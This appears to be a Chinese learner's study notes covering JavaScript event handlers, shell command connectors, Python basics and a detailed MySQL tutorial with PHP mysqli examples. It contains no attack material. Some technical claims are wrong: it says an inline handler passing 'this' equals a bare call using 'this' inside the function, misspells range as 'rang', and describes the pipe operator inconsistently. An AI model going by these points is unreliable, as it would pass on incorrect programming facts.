	<div onmouseover="mOver(this)" onmouseout="mOut(this)" style="background-color:#D94A38;width:120px;height:20px;padding:40px;">Mouse Over Me</div>
	<script>
	function mOver(obj){
	obj.innerHTML="Thank You"
	}
	function mOut(obj){
	obj.innerHTML="Mouse Over Me"
	}
	</script>
	</body>

# EXTRA this

这里说说这个 this，它是 js 中的一个关键字，它在函数被调用时自动创建并用作指向调用该函数的上下文的引用。

在函数中它代表了调用函数的这个元素（作为一个对象）。

如果将其填入变量位置，则表示调用这个函数的这个元素的值。（就像上面）

也就是说

	onmouseover="mOver(this)"
	function mOver(obj){
	obj.innerHTML="Thank You"
	}
	与
	onmouseover="mOver()"
	function mOver(){
	this.innerHTML="Thank You"
	}
	实际上是一样的

# onfocus

	<script>
	function myFunction(x){
	x.style.background="yellow"; // 是的，只有 background
	}
	</script>
	输入你的名字: <input type="text" onfocus="myFunction(this)">
	<p>当输入框获取焦点时，修改背景色（background-color属性）将被触发。</p>

其他事件对象：https://www.runoob.com/jsref/dom-obj-event.html

# 7.addEventListener()

用于为元素添加一个或多个事件句柄（其实就是 onclick 之类的）不会覆盖，可以重复。

比如：

	<p>该实例使用 addEventListener() 方法在按钮中添加点击事件。 </p>
	<button id="myBtn">点我</button>
	<p id="demo"></p>
	<script>
	document.getElementById("myBtn").addEventListener("click", displayDate);
	/* 存在 removeEventListener ()，移除事件监听，可以用 document.getElementById ("myBtn").removeEventListener ("click", displayDate) 来实现 */
	function displayDate() {
	document.getElementById("demo").innerHTML = Date();
	} // 要有条件才调用，不要像这里多此一举
	</script>

IE8 以及之前的用的是 attachEvent () 和 detachEvent ()

解决办法：

	var x = document.getElementById("myBtn");if (x.addEventListener) {
	// 所有主流浏览器，除了 IE 8 及更早版本
	x.addEventListener("click", myFunction);} else if (x.attachEvent) {
	// IE 8 及更早版本
	x.attachEvent("onclick", myFunction);}

web

2024-10-11T09:48:50.000Z

# 命令连接符：

# 1. a && b ：

代表首先执行前者命令 a 再执行后命令 b，但是前提条件是命令 a 执行正确才会执行命令 b，在 a 执行失败的情况下不会执行 b 命令。所以又被称为短路运算符。

#前面的命令执行成功后，它后面的命令才被执行

# 2. a & b：

代表首先执行命令 a 再执行命令 b，如果 a 执行失败，还是会继续执行命令 b。也就是说命令 b 的执行不会受到命令 a 的干扰。

#表示简单的拼接，A 命令语句和 B 命令语句没有制约关系

# 3. a || b：

代表首先执行 a 命令再执行 b 命令，如果 a 命令执行成功，就不会执行 b 命令，相反，如果 a 命令执行不成功，就会执行 b 命令。

#前面的命令执行失败，它后面的命令才被执行

# 4. a | b：

代表首先执行 a 命令，再执行 b 命令，不管 a 命令成功与否，都会去执行 b 命令。

#当第一条命令失败时，它仍然会执行第二条命令，表示 A 命令语句的输出，作为 B 命令语句的输入执行。

python，然而完全没有关系

2024-10-11T09:48:50.000Z

# 一。按位运算

& #按位与 3 & 2 = 2 （全为 1 时为 1）

| #按位或 3 | 2 = 3 （其中一个是 1 时取 1）

^ #按位异或 3 ^ 2 = 1 （1 和 0 时为 1）

     #按位取反       ~3  = −4            （就是反过来而已）

<< #向左移位 3 << 1 = 6

>> #向右移位 3 >> 1 = 1

:: 在二进制中移位，空位全部补 0

# 二。输入输出

::input 输入的数据默认都是 str

# 三。三目运算符

	age=20
	message="成年人" if age>=18 else "未成年人"
	#这样可以不用写那么多判断语句，可以直接夹在赋值语句里

# 四。循环

# 1. 关于 for

rang (), 用于生成数值序列，不过计数是从 0 开始。所以：

	for i in rang(5):
	print(i)
	#输出是 0 到 4

# 2. 关于 while

continue：跳过当前迭代，直接进入下一次（如有），在这之后的不会执行，所以会和 i 一起用

	for i in range(5):
	if i == 3:
	continue
	print(i)
	#输出没有 3

EX break：直接跳出 while 循环

//for 和 while 都可以跟 else 连用，正常终止时执行，被打断时一起被跳过

五。函数

def 函数名 (参数):

函数体

#如果要返回值，则使用 return

// 空函数写 pass

默认参数与可选参数：

	def sum_numbers(args):#这里的表示任意数量的非关键字参数，若为 ** 则表示任意数量的关键字参数
	return sum(args)
	result = sum_numbers(1, 2, 3, 4)
	print(result) # 输出: 10

非关键字参数的值不会赋值给该关键字

# 五。类（class）

// 用于封装数据（属性）和操作方法（函数），调用时可提供特定功能。

//python 中有内置的类

#Python 中一切都是对象，对象是类的实例，连 int 和 float 都是类

# 1. 创建类

class Dog:
	def __init__(self): # 初始化函数
	self.Race = 'dog'
	def call(self): # 方法
	print('wang')

MySQL

2024-10-11T09:48:50.000Z

# MySQL

# 基本术语

列：具有相同数据类型的数据的集合

行：每一行用来描述某条记录的具体信息

冗余：存储两倍数据。冗余降低了性能，但提高了数据的安全性

主键：主键是唯一的，一个数据表只能由一个主键。可以用主键查询信息

外键：一个表中的一列或多列，这些列的值必须与另一个表（通常称为主表）中的主键或唯一键的值相匹配，或者为空值。包含外键的表称为从表（或子表），被引用的表称为主表（或父表）。

复合键：复合键（组合键）将多个列组成一个索引键，一般用于复合索引

索引：使用索引可快速访问数据表中的特定信息，索引是数据库中由一列或多列的值进行排序的结构。相当于书籍的目录。

参照完整性：参照的完整性要求关系中不允许引入不存在的实体。

值：行的具体信息，每个值必须与该列的数据类型相同

键：键的值在当前列中具有唯一性

# 管理

Windows:

启动 / 关闭

去找 services.msc

或者使用命令 net start/stop mysql

Linux:

# 启动 / 关闭

sudo systemctl start/stop mysql

在一些老旧的版本：

sudo service mysql start/stop

# 重启

sudo systemctl restart mysql

或者

sudo service mysql restart

# 检查状态

sudo systemctl status mysql

或者

sudo service mysql status

# 用户设置

# 创建

CREATE USER 'username'@'host' IDENTIFIED BY 'password';

username ：用户名。
host ：指定用户可以从哪些主机连接。例如， localhost 仅允许本地连接， % 允许从任何主机连接。
password ：用户的密码。

例如：

CREATE USER 'john'@'localhost' IDENTIFIED BY 'password123';

# 删除

DROP USER 'username'@'host';

# 修改密码

ALTER USER 'username'@'host' IDENTIFIED BY 'new_password';

# 修改用户主机

-- 删除旧用户
DROP USER 'john'@'localhost';

-- 重新创建用户并指定新的主机
CREATE USER 'john'@'%' IDENTIFIED BY 'password123';

# 授权

GRANT privileges ON database_name.* TO 'username'@'host';

privileges ：所需的权限，如 ALL PRIVILEGES 、 SELECT 、 INSERT 、 UPDATE 、 DELETE 等。
database_name.*： 表示对某个数据库或表授予权限。 database_name.* 表示对整个数据库的所有表授予权限， database_name.table_name 表示对指定的表授予权限。
TO 'username'@'host' ：指定授予权限的用户和主机。

例如：

GRANT ALL PRIVILEGES ON test_db.* TO 'john'@'localhost';

# 授权或者撤权都要刷新才能生效：

FLUSH PRIVILEGES;

# 查权

SHOW GRANTS FOR 'username'@'host';

# 撤权

REVOKE ALL PRIVILEGES ON test_db.* FROM 'john'@'localhost';

# 创建并指定权限

CREATE USER 'john'@'localhost' IDENTIFIED BY 'password123' WITH GRANT OPTION;  //加上这句
GRANT ALL PRIVILEGES ON test_db.* TO 'john'@'localhost';

# /etc/my.cnf 文件配置

# 管理命令

1.use 数据库名

使用该命令后所有 Mysql 命令都只针对该数据库

2.SHOW DATABASES

显示所有数据库列表

3.SHOW TABLES

显示某数据库的所有表（所以要先 use）

4.SHOW COLUMNS FROM 数据表

显示数据表的属性，属性类型，主键信息，是否为 NULL，默认值等其他信息

5.SHOW INDEX FROM 数据表

显示索引，包括主键

6.SHOW TABLE STATUS [FROM db_name] [LIKE 'pattern'] \G

该命令将输出 Mysql 数据库管理系统的性能及统计信息。

例如：

SHOW TABLE STATUS FROM 数据库名;
SHOW TABLE STATUS from RUNOOB LIKE 'runoob%'; 
#显示以runoob%开头的表的信息
SHOW TABLE STATUS from RUNOOB LIKE 'runoob%'\G;
#\G，查询结果按列打印

# PHP 语法

# 1. 连接

	<?php
	$servername = "localhost";
	$username = "your_username";
	$password = "your_password";
	$database = "your_database";

	// 创建连接
	$conn = mysqli_connect($servername, $username, $password, $database);

	// 检测连接，可见 mysqli_connect 是有返回值的
	if (!$conn) {
	die("连接失败: " . mysqli_connect_error());
	}
	echo "连接成功";
	?>

其中的函数格式和部分功能：

函数定义：mysqli_function(value,value,...);

	mysqli_connect($connect);
	mysqli_query($connect,"SQL 语句");
	mysqli_fetch_array()
	mysqli_close()
	// 都是内置的函数

# 二进制连接

	mysql -u your_username -p
	//-u 指定用户名，-p 要输入密码

# 使用脚本连接

	mysqli_connect(host, username, password, dbname,port, socket);
	// 都是可选参数，没有就不写。其中只有 port 是 int，其他都是字符串
	/* 套接字（socket）是一种进程间通信机制。当脚本就在服务器上时，使用这个
	不用经过网络套接字（通过 TCP/IP 协议），而是使用 UNIX 套接字（所以在 windows 系统上，这个参数会被忽略）。*/
	其实就是不用网络，在本机进程间通信连接
	注意：这是个指向.socket文件的路径
	所以，如果用这玩意儿，就不用指定port了，可以直接设置为null

在 PHP8.0 以上，可以使用命名参数来保证正确传参，参数名就是上面那几个

mysqli_close () 函数来断开与 MySQL 数据库的链接。

函数定义：bool mysqli_close ( mysqli $link )

该函数只有一个参数为 mysqli_connect () 函数创建连接成功后返回的 MySQL 连接标识符（mysqli_connect 的返回值）。

例如：

	$link = mysqli_connect("localhost", "username", "password", "database");
	if (!$link) {
	die("连接失败: ". mysqli_connect_error());
	}
	// 执行一些数据库操作

	// 显式关闭连接
	mysqli_close($link);
	// 不给参数，就关闭最近打开的一个

# 2. 退出

EXIT; 或者 QUIT; 或者快捷键 ctrl +D

# 操作数据库

# 0. 查看已有数据库

SHOW DATABASES;

# 1. 创建

CREATE DATABASE [IF NOT EXISTS] 数据库名;
如果要指定选项，可以加上其他参数：
CREATE DATABASE mydatabase
  CHARACTER SET utf8mb4
  COLLATE utf8mb4_general_ci;
指定字符集和排列顺序。
如果不加IF NOT EXISTS并且存在该数据库，会报错

# 使用 mysqladmin

注：mysqladmin 是个命令

	mysqladmin -u your_username -p create your_database
	如果要指定选项，可以加上特定参数：
	mysqladmin -u your_username -p create your_database \
	--default-character-set=utf8mb4 \
	--default-collation=utf8mb4_general_ci
	作用同上

如果是普通用户，可能要特定权限

这个命令行可以使用 SQL 的命令：

mysqladmin -u your_username -p your_command
例如：
mysqladmin -u your_username -p status

# 使用 PHP 脚本

mysqli_query(connection,query,resultmode);
也有返回值,也是用于判断是否成功

除了最后一个，都是必须项。

connection：就是 $connt，也就是 mysqli_connet (...)

query：查询字符串，也就是 SQL 语句。

resultmode：这是常量，只能填以下两个之一：

MYSQLI_USE_RESULT （检索大量数据时用）

MYSQLI_STORE_RESULT （默认）

# 2. 删除

DROP DATABASE [IF EXISTS] <database_name>;
同样，如果不加IF EXISTS，删除不存在的，会报错

// 这是不可逆的

# 使用 mysqladmin

mysqladmin -u your_username -p drop your_database

# 使用 PHP 脚本

还是用：

mysqli_query(connection,query,resultmode);

显而易见：

此时的 $query 就是 DROP DATABASE [IF EXISTS] <database_name>;

# 3. 选择

# 使用命令行

	mysql -u root -p; //执行完这个，就会进入mysql提示符
	use <database name>;
	....; //其他操作命令

use 语句可以换成命令中的 - D 参数，变成：

mysql -u your_username -p -D your_database

# 使用 php 脚本

	mysqli_select_db(connection,dbname);
	// 都是必填项

# 一个实例

<?php
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = '123456';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
    die('连接失败: ' . mysqli_error($conn));
}
echo '连接成功';
mysqli_select_db($conn, 'RUNOOB' );
mysqli_close($conn);
?>

# 数据类型

# 数值类型

几个不太一样的地方：

int 分为：tinyint（1Bytes）,smallint（2）,mediumint（3）,int（4）,bigint（8）

多了一个

DECIMAL 类型，用于表示小数：

对于 DECIMAL (M,D) ，如果 M>D，为 M+2 否则为 D+2

# 日期和时间类型

DATE （3）：YYYY-MM-DD

TIME（3）：HH:MM:SS

YEAR（1）：YYYY

DATATIME（8）：YYYY-MM-DD hh:mm:ss

TIMESTAMP（4）：同上 // 这就是时间戳

# 字符串类型

类型	大小	用途
CHAR	0-255 bytes	定长字符串
VARCHAR	0-65535 bytes	变长字符串
TINYBLOB	0-255 bytes	不超过 255 个字符的二进制字符串
TINYTEXT	0-255 bytes	短文本字符串
BLOB	0-65 535 bytes	二进制形式的长文本数据
TEXT	0-65 535 bytes	长文本数据
MEDIUMBLOB	0-16 777 215 bytes	二进制形式的中等长度文本数据
MEDIUMTEXT	0-16 777 215 bytes	中等长度文本数据
LONGBLOB	0-4 294 967 295 bytes	二进制形式的极大文本数据
LONGTEXT	0-4 294 967 295 bytes	极大文本数据

# others

# 枚举与集合类型

ENUM: 枚举类型，用于存储单一值，可以选择一个预定义的集合。
SET: 集合类型，用于存储多个值，可以选择多个预定义的集合。

# 空间数据类型

GEOMETRY, POINT, LINESTRING, POLYGON, MULTIPOINT, MULTILINESTRING, MULTIPOLYGON, GEOMETRYCOLLECTION: 用于存储空间数据（地理信息、几何图形等）。

# 使用数据库

# 0. 查看已有数据表 / 列

SHOW TABLES; 
SHOW TABLE STATUS;  //这是看表类型（ENGING等）
SHOW COLUMNS FROM table_name;  //这是看表结构，不是数据

不加 S 的话，要写具体名称或者模糊匹配。 \G 以竖排显示

# 1. 创建数据表

必须提供：

表名
表字段名
定义每个表字段的数据类型

SQL 语法：

CREATE TABLE table_name (
    column1 datatype,
    column2 datatype,
    ...
);
//column是列名

可以加子句：

CREATE TABLE mytable (
    id INT PRIMARY KEY,
    name VARCHAR(50)
) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

# SQL 实例

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) NOT NULL,
    birthdate DATE,
    is_active BOOLEAN DEFAULT TRUE
);
//AUTO_INCREMENT PRIMARY KEY,设定该列自增长(1,2,3...)，且是主键
（这两者一般同时出现）
注意：每个表只能有一个 AUTO_INCREMENT 列，必须为整数类型
	即使删除了表中最大自增值的记录，下一次插入新记录时，自增值仍然会继续
	递增，不会复用已删除的自增值。
	起始值默认为1，但可以用`ALTER TABLE users AUTO_INCREMENT = 100;`改
//NOT NULL，这项必填
//DEFAULT TRUE，设定默认值为TRUE
以上三行都是附加的属性

# 通过命令行

	mysql -u root -p -D <database name>
	//接下来进了SQL命令行，当然就是写SQL语句。

注意：mySQL 命令行中，回车不是结束， ; 才是。

因此，写不下时可以随意换行

# 通过 PHP 脚本

还是 mysqli_query(connection,query,resultmode);

# 2. 删除数据表 [数据]

DROP TABLE [IF EXISTS] table_name; //这是直接删表
TRUNCATE TABLE table_name;         //这是删表数据（保留结构，数据全删）
DELETE FROM table_name WHERE condition; //这也是删表数据（保留结构，加条件可不全删）
注意：TURUNCATE是直接释放数据页的空间，没有详细的删除的日志，因此不能触发任何触发器，也不能事务回滚
但是更加高效，delete是逐行删除，会触发，能回滚，但更低效

使用命令行和 PHP 脚本，同上

# 3. 插入表数据

INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);

//value 若是字符型，要写成 'value'

// 如果插入所有列，可以省略列名。此时第一个要写 NULL, 因为它是那个自增长列的占位符。当然也可以第一行写 0（接下来同理），要不然会变来变去。

# 插入多行

实例：

INSERT INTO users (username, email, birthdate, is_active)
VALUES
    ('test1', 'test1@runoob.com', '1985-07-10', true),
    ('test2', 'test2@runoob.com', '1988-11-25', false),
    ('test3', 'test3@runoob.com', '1993-05-03', true);

使用命令行和 PHP 脚本，同上，这之后的也都是同上

但是，如果插入的数据中有中文，必须先执行

	mysqli_query($conn , "set names utf8");
	或者使用PHP函数
	mysqli_set_charset($conn, "utf8");
	// 它会同时设置：
	character_set_client：客户端发送数据时使用的字符编码。
	character_set_results：服务器返回结果集时使用的字符编码。
	character_set_connection：连接层使用的字符编码。

# 获取自增的值

$last_id=mysqli_insert_id($conn)

# 4. 修改表数据

进行重要的结构修改时，建议先备份数据

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;   //where子句可选，没有就会更新所有行

# 替换某个字段中的某个字符

当我们需要将字段中的特定字符串批量修改为其他字符串时，可使用以下操作：

UPDATE table_name SET field=REPLACE(field, 'old-string', 'new-string') 
[WHERE Clause];

# 5. 修改表名 / 结构 / 类型

# 添加列 / 主键

ALTER TABLE table_name
ADD COLUMN new_column_name datatype;
以及
ALTER TABLE table_name
ADD PRIMARY KEY (column_name);
以及
ALTER TABLE testalter_tbl ENGINE = MYISAM;

# 添加外键

ALTER TABLE child_table
ADD CONSTRAINT fk_name
FOREIGN KEY (column_name)           
REFERENCES parent_table (column_name);

# 修改数据类型

ALTER TABLE TABLE_NAME
MODIFY COLUMN column_name new_datatype;

# 修改列 / 表名

ALTER TABLE table_name
CHANGE COLUMN old_column_name new_column_name datatype;
-- 可以顺手改数据类型
以及
ALTER TABLE old_table_name
RENAME TO new_table_name;

# 删除列

ALTER TABLE table_name
DROP COLUMN column_name;

# 修改字段类型及名称

可以使用上面的 CHANGE 子句

也可以用 MODIFY 子句

ALTER TABLE testalter_tbl MODIFY c CHAR(10);
等同于
ALTER TABLE testalter_tbl CHANGE c c CHAR(10);
只不过MODIFY子句不能顺便改名

这两者修改时都可以附带上 NOT NULL，DEFAULT 等

例如：

ALTER TABLE testalter_tbl MODIFY j BIGINT NOT NULL DEFAULT 100;

# 修改 / 删除默认值等

ALTER TABLE testalter_tbl ALTER i SET DEFAULT 1000;
以及
ALTER TABLE testalter_tbl ALTER i DROP DEFAULT/PRIMARY KEY;

# 6. 读取 / 查询表数据

# 读取

select * from 数据表名;   //可以多表`,`分开

# 查询

SELECT column1, column2, ...
FROM table_name                   //可以多表`,`分开
[WHERE condition]
[ORDER BY column_name [ASC | DESC]]
[LIMIT N][offset M];

使用 * 表示选择所有列。
WHERE condition 是一个可选的子句，用于指定过滤条件，只返回符合条件的行。
ORDER BY column_name [ASC | DESC] 可选子句，指定结果集的排序顺序，默认升序（ASC）。
LIMIT N 可选子句，返回 N 条记录
offset N 可选子句，跳过 M 条记录

limit M offset N;

相当于

limit N,M;

# 获取数据

# 1. 使用 mysqli_fetch_array MYSQLI_ASSOC

按行获取，一次只从返回的数据中获取一行

MYSQLI_ASSOC 是返回关联数组

也可以用 MYSQLI_NUM ，返回数字数组。区别不大，只不过是把下面的 $row['id']改成$ row [0]

	...
	$sql = "SELECT id, name, age FROM users";
	$result = mysqli_query($conn, $sql);
	if (mysqli_num_rows($result) > 0) {
	// 使用 mysqli_fetch_array 结合 MYSQLI_ASSOC 获取数据
	while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
	echo "ID: ". $row['id']. ", 姓名: ". $row['name']. ", 年龄: ". $row['age']. "<br>";
	}// 没行了会返回 false
	} else {
	echo "没有找到记录";
	}
	...

# 2. 使用 mysqli_fetch_assoc

没行返回 null，但是也可以结束 while

mysqli_fetch_assoc($result) , 返回的直接是关联数组

相当于

mysqli_fetch_array($result,MYSQLI_ASSOC)

# 3. 内存释放

	...
	$retval = mysqli_query( $conn, $sql );
	...
	mysqli_free_result($retval);

# where 子句

类似于 if 语句，判断真假，使用 AND 和 OR 组合， LIKE 模糊匹配

一般的：

...WHERE username = 'test';
...salary >= 50000;

对于日期时间类型：

...WHERE order_date BETWEEN '2023-01-01' AND '2023-12-31';

对于可空的：

...WHERE email IS [NOT] NULL;

默认的字符串比较不区分大小写（非 like 子句），如果要，写成：

...WHERE BINARY...

# LIKE 子句

代替等号用于 where 子句（或者 having 子句）

可使用的通配符包括：

% 表示没有或者有任意个任意字符

_ 表示一个任意字符

其他匹配方式：

[] / [^] 类似正则表达式，查询内容包含通配符时，可以用这个括起

可以组合使用，比如：a% o_

like 子句是否区分大小写取决于字符集

不区分是：

SELECT * FROM employees WHERE last_name LIKE 'smi%' COLLATE utf8mb4_general_ci;

# 合并查询数据（UNION）

SELECT column1, column2, ... FROM table1 WHERE condition1
UNION           //加中间就行，可以叠叠乐
SELECT column1, column2, ... FROM table2 WHERE condition2
[ORDER BY column1, column2, ...];  //可选，排序合并后的数据

注意：1. 会自动去除重复行（使用 UNION ALL 则不会，性能还会更好）。

2. 每个 SELECT 语句的列数和对应位置的数据类型必须相同（即使来自不同表）。

# 排序

ORDER BY 子句，排序查询后的数据

SELECT column1, column2, ...
FROM table_name
ORDER BY column1 [ASC | DESC], column2 [ASC | DESC], ...;

默认 ASC（升序）。DESC 是降序

像上面那个多列排序，就是先按 column1, 再按 column2

可以不用列名而用数字表示列的位置，例如：

ORDER BY 3 DESC, 1 ASC;

8.0 以上的版本，末尾有可选参数：

NULLS FIRST 或 NULLS LAST ，表示排序时 NULL 的位置

注意：

如果字符集是 utf-8，而不是 GBK，排序时要先转码：
SELECT * 
FROM runoob_tbl
ORDER BY CONVERT(runoob_title using gbk);

# 分组

GROUP BY 语句根据一个或多个列对结果集进行分组。

在分组的列上我们可以使用 COUNT, SUM, AVG, 等函数。

SELECT column1, column2, aggregate_function(column3)
FROM TABLE_NAME
WHERE condition
GROUP BY column1, column2;

# 实例

SELECT customer_id, SUM(order_amount) AS total_amount
FROM orders
GROUP BY customer_id;
//计算每个客户的订单总金额

GROUP BY 子句通常与聚合函数一起使用，因为分组后需要对每个组进行聚合操作。
SELECT 子句中的列通常要么是分组列（ GROUP BY 使用的列），要么是聚合函数的参数。
可以使用多个列进行分组，只需在 GROUP BY 子句中用逗号分隔列名即可。

聚合函数：

如 SUM 、 AVG 、 COUNT 、 MIN 、 MAX 等，用于对每个分组的数据进行汇总计算。

# 使用 WITH ROLLUP

可选子句，实现在分组统计数据基础上再进行相同的统计

对比一下：

	mysql> SELECT name,SUM(signin) as signin_count FROM employee_tbl GROUP BY name WITH ROLLUP;
	+--------+--------------+
	\| name \| signin_count \|
	+--------+--------------+
	\| 小丽 \| 2 \|
	\| 小明 \| 7 \|
	\| 小王 \| 7 \|
	\| NULL \| 16 \| //NULL表示所有人的登录次数，因为这列相加没有意义
	+--------+--------------+
	4 rows in set (0.00 sec)

以及

	mysql> SELECT name, COUNT(*) FROM employee_tbl GROUP BY name;
	+--------+----------+
	\| name \| COUNT(*) \|
	+--------+----------+
	\| 小丽 \| 1 \|
	\| 小明 \| 3 \|
	\| 小王 \| 2 \|
	+--------+----------+
	3 rows in set (0.01 sec)

为了避免 NULL, 可以使用

select coalesce(a,b,c);
//按顺序判断是否为NULL,返回遇到的第一个非NULL值。（全NULL就返回NULL）

于是可改成：

SELECT coalesce(name, '总数'), SUM(signin) as signin_count FROM  employee_tbl GROUP BY name WITH ROLLUP;

# 多表查询（JOIN）

INNER JOIN（内连接，或等值连接）：获取两个表中字段匹配关系的记录，可以简写为 JOIN。
**LEFT JOIN（左连接）：** 获取左表所有记录，即使右表没有对应匹配的记录。
RIGHT JOIN（右连接）： 与 LEFT JOIN 相反，用于获取右表所有记录，即使左表没有对应匹配的记录。

SELECT column1, column2, ...
FROM table1
INNER JOIN table2 
ON table1.column_name = table2.column_name;
//只返回两表中column_name内容相同的行
//SELECT中的列也要写成类似于table.column的形式，不必包含ON使用的那列

可以叠叠乐：

SELECT orders.order_id, customers.customer_name, products.product_name
FROM orders
INNER JOIN customers ON orders.customer_id = customers.customer_id
INNER JOIN order_items ON orders.order_id = order_items.order_id
INNER JOIN products ON order_items.product_id = products.product_id;
//此时只有在四个表的所选列中都存在的才会返回对应的SELECT

LEFT/RIGHT JOIN

以 LEFT JOIN 为例，RIGHT JOIN 反之

SELECT column1, column2, ...
FROM table1
LEFT JOIN table2 
ON table1.column_name = table2.column_name;
[WHERE 条件]
//返回左表中所有行的情况下。当右表中没有匹配的行时，相关列将显示为 NULL。

# NULL 值处理

WHERE 子句

is (not) null

ORDER BY 子句:

NULLS FIRST/LAST

# 用于比较

SELECT * FROM employees WHERE commission <=> NULL;
`<=>`是比较表达式是否相等的特殊操作符，可以直接替换`=`
都是NULL就返回TRUE
注意：回值始终是NULL

# 聚合函数

会被忽略

如果想指定为特定值，可以套个 COALESCE 或者它的下位 IFNULL（只接受俩参数）

例如： AVG(COALESCE(salary, 0)) 或者 AVG(IFNULL(salary, 0))

# 正则表达式

模式描述

^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性，^ 也匹配 '\n' 或 '\r' 之后的位置。

$ 匹配输入字符串的结束位置。如果设置了 RegExp 对象的 Multiline 属性，$ 也匹配 '\n' 或 '\r' 之前的位置。

. 匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任何字符，请使用像 '[.\n]' 的模式。

[...] 字符集合。匹配所包含的任意一个字符。例如， '[abc]' 可以匹配 "plain" 中的 'a'。

[^...] 负值字符集合。匹配未包含的任意字符。例如， '[^abc]' 可以匹配 "plain" 中的 'p'。

p1|p2|p3 匹配 p1 或 p2 或 p3。例如，'z|food' 能匹配 "z" 或 "food"。'(z|f) ood' 则匹配 "zood" 或 "food"。

* 匹配前面的子表达式零次或多次。例如，zo* 能匹配 "z" 以及 "zoo"。* 等价于 {0,}。

+ 匹配前面的子表达式一次或多次。例如，'zo+' 能匹配 "zo" 以及 "zoo"，但不能匹配 "z"。+ 等价于 {1,}。

n 是一个非负整数。匹配确定的 n 次。例如，'o {2}' 不能匹配 "Bob" 中的 'o'，但是能匹配 "food" 中的两个 o。

m 和 n 均为非负整数，其中 n <= m。最少匹配 n 次且最多匹配 m 次。

# 正则表达式匹配的字符类

. ：匹配任意单个字符。

^ ：匹配字符串的开始。

$ ：匹配字符串的结束。

* ：匹配零个或多个前面的元素。

+ ：匹配一个或多个前面的元素。

? ：匹配零个或一个前面的元素。

[abc] ：匹配字符集中的任意一个字符。

[^abc] ：匹配除了字符集中的任意一个字符以外的字符。

[a-z] ：匹配范围内的任意一个小写字母。

[0-9] ：匹配一个数字字符。

\w ：匹配一个字母数字字符（包括下划线）。

\s ：匹配一个空白字符。

# REGEXP/RLIKE

这两者等同

SELECT column1, column2, ...
FROM table_name
WHERE column_name REGEXP [BINARY] 'pattern';
//'pattern'是一个正则表达式模式,例如：'^[aeiou]|ok$'，'item[0-9]+'等
//使用BINARY关键字，匹配区分大小写

# 事务

要么全部执行，要么都不执行

用来管理 insert、update、delete 语句

# 控制语句

BEGIN 或 START TRANSACTION 显式地开启一个事务；

COMMIT/COMMIT WORK，二者等价。提交事务，此时才真正修改，不可逆；

ROLLBACK/ROLLBACK WORK，二者等价。结束用户的事务，并撤销正在进行的所有未提交的修改；

SAVEPOINT identifier，在事务中创建保存点，可以有多个；

RELEASE SAVEPOINT identifier 删除保存点，不存在时抛出异常；

ROLLBACK TO identifier 把事务回滚到保存点；

SET TRANSACTION 用来设置事务的隔离级别。

SET AUTOCOMMIT=0 禁止自动提交

SET AUTOCOMMIT=1 开启自动提交

实例：

START TRANSACTION;
UPDATE accounts SET balance = balance - 100 WHERE user_id = 1;
UPDATE accounts SET balance = balance + 100 WHERE user_id = 2;
-- 判断是否要提交还是回滚
IF (条件) THEN
    COMMIT; -- 提交事务
ELSE
    ROLLBACK; -- 回滚事务
END IF;

# 隔离级别

InnoDB 存储引擎提供事务的隔离级别有 READ UNCOMMITTED、READ COMMITTED、REPEATABLE READ 和 SERIALIZABLE。

# 读未提交

READ UNCOMMITTED

可以读取到其他事务尚未提交的数据，最低级别

可能脏读（被读取的事务最终回滚导致所读的数据无效）

# 读已提交

READ COMMITTED

只能读取到其他事务已经提交的数据

不会脏读

但由于不可重复读，可能导致多次读取同一数据的值不一样

# 可重复读

REPEATABLE READ

多次读取同一数据始终保持一致，被读事务进行的修改和提交不会改变读取结果

不会脏读

可能幻读

原理：

可重复读默认对读取行加一个快照，此后该事务读取该行都是用快照（可以改为加共享锁）

所以不脏读。

但是如果其他事务增加满足查询条件的行，查询会多出一条

导致幻读。

// 非串行化都可能幻读

// 行级锁分两种：共享锁（S 锁），其他事务可读不写；排他锁（X 锁），其他事务不

读不写。一行同时只能一个锁。带有锁的行被其他事务读取时，必须等待其释放（上锁

的事务提交或回滚）

可以自行加锁：

SELECT price FROM products WHERE id = 1 LOCK IN SHARE MODE;   -- 加共享锁
SELECT price FROM products WHERE id = 1 FOR UPDATE; -- 加排他锁

如果太久不释放行级锁，等待释放的事务会收到超时报错

例如：

在可重复读下

-- 事务 A 开始
START TRANSACTION;
-- 事务 A 读取数据
SELECT price FROM products WHERE id = 1; -- 假设读取到价格为 100
-- 如果改用共享锁，事务B会等待事务A释放锁

-- 事务 B 开始
START TRANSACTION;
-- 事务 B 修改数据
UPDATE products SET price = 200 WHERE id = 1;
-- 事务 B 提交
COMMIT;

-- 事务 A 再次读取数据
SELECT price FROM products WHERE id = 1; 
-- 仍然会读取到价格为 100，因为事务 A 读取的是快照中的数据
-- 事务 A 提交
COMMIT;

容易死锁（互相等释放）

-- 事务 A
START TRANSACTION;
SELECT price FROM products WHERE id = 1 LOCK IN SHARE MODE;
SELECT price FROM products WHERE id = 2 FOR UPDATE; -- 尝试获取 id = 2 的排他锁

-- 事务 B
START TRANSACTION;
SELECT price FROM products WHERE id = 2 LOCK IN SHARE MODE;
SELECT price FROM products WHERE id = 1 FOR UPDATE; -- 尝试获取 id = 1 的排他锁

# 串行化

串行执行，最高级别

不是并发，所以不会幻读，但导致事务之间会相互阻塞，会极大地降低系统的吞吐量。

# 事务实例

<?php
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = '123456';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
    die('连接失败: ' . mysqli_error($conn));
}
// 设置编码，防止中文乱码
mysqli_query($conn, "set names utf8");
mysqli_select_db( $conn, 'RUNOOB' );
mysqli_query($conn, "SET AUTOCOMMIT=0"); // 设置为不自动提交，因为MYSQL默认立即执行
mysqli_begin_transaction($conn);            // 开始事务定义
 
if(!mysqli_query($conn, "insert into runoob_transaction_test (id) values(8)"))
{
